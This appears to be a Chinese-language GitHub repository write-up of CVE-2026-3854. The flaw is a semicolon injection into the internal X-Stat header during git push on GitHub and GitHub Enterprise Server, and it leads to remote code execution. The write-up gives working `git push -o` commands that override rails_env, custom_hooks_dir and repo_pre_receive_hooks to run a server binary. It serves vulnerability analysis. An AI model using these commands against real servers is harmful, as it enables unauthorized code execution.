5kr1pt/CVE-2026-3854
GitHub: 5kr1pt/CVE-2026-3854
深入解析 GitHub 内部 git push 流程中因 babeld 代理未过滤分号导致的 X-Stat Header 注入漏洞(CVE-2026-3854),展示从 Header 篡改到远程代码执行的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-3854:通过 X-Stat Header 注入实现 GitHub RCE
关于 Wiz Research 在 GitHub.com 和 GitHub Enterprise Server 内部 `git push` 流程中发现漏洞的实用总结。
## 警告
## 核心摘要
经过身份验证的攻击者可以通过在 `git push -o` 中发送 `;` 来在 GitHub 上实现 RCE。babeld(GitHub 的内部代理,所有 SSH 的入口点)未进行过滤,而 `;` 破坏了内部的 `X-Stat` Header,从而覆盖了 gitrpcd 盲目信任的安全字段。通过 3 次覆盖(`rails_env`、`custom_hooks_dir`、`repo_pre_receive_hooks`),pre-receive hook 会进行拼接,并以 user git 的身份在服务器上执行任意二进制文件。
## 工作原理
基本上,由于 `git push` 中没有对 `;` 进行过滤,我们得以写入 `X-Stat` Header。我们通过将其指向目标服务器上的一个路径(例如 `/bin`)来实现这一点,然后将其与该 Header 的另一个“字段” `repo_pre_receive_hooks` 拼接。这样,如果该字段是 `whoami`,拼接后的结果就会变成 `/bin/` + `whoami`,并直接在服务器上执行。
只不过,默认情况下 `X-Stat` 中的这些字段都是由 babeld 默认填充好的,因为 RPC (`gitrpcd`) 在读取时会盲目信任它,认为用户无法更改:
以下示例展示了 babeld 如何填充 X-Stat 中的字段:
```
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
```
然而,由于 babeld 在 `git push` 期间未对 `;` 进行过滤,你可以直接写入该字段。更绝的是,它采用 **last-write-wins(后写入者胜)** 机制,即最后一次写入的值生效。因此,如果我执行:
```
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
```
被覆盖的字段会变为:
```
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
```
(实际上并不像上面例子中直接输入 `whoami` 那么简单。它实际上是一个 JSON,所以看起来更像是 `[{"script":"whoami"}]`。)
随后,在存在漏洞的版本中,它将在服务器上执行 `whoami` 二进制文件。
不过仅靠这一步,它仍然只会在沙箱中运行。这就是为什么还需要更改 X-Stat Header 中的另一个参数:`rails_env=production`。它必须被改为除了 `production` 之外的任何值。
最终,恶意脚本如下所示:
```
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
```
## 参考资料
- [GitHub RCE 漏洞:CVE-2026-3854 深度解析 - Wiz Blog](https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854)
- [保护 git push 流程 - GitHub Security Blog](https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/)
标签:CISA项目, CVE-2026-3854, Git Push, Hook注入, HTTP Header注入, RCE, SSH注入, Web安全, X-Stat, 代理服务器漏洞, 企业安全, 内存分配, 数据展示, 漏洞分析, 红队, 编程工具, 网络安全, 网络安全研究, 网络资产管理, 蓝队分析, 路径探测, 远程代码执行, 隐私保护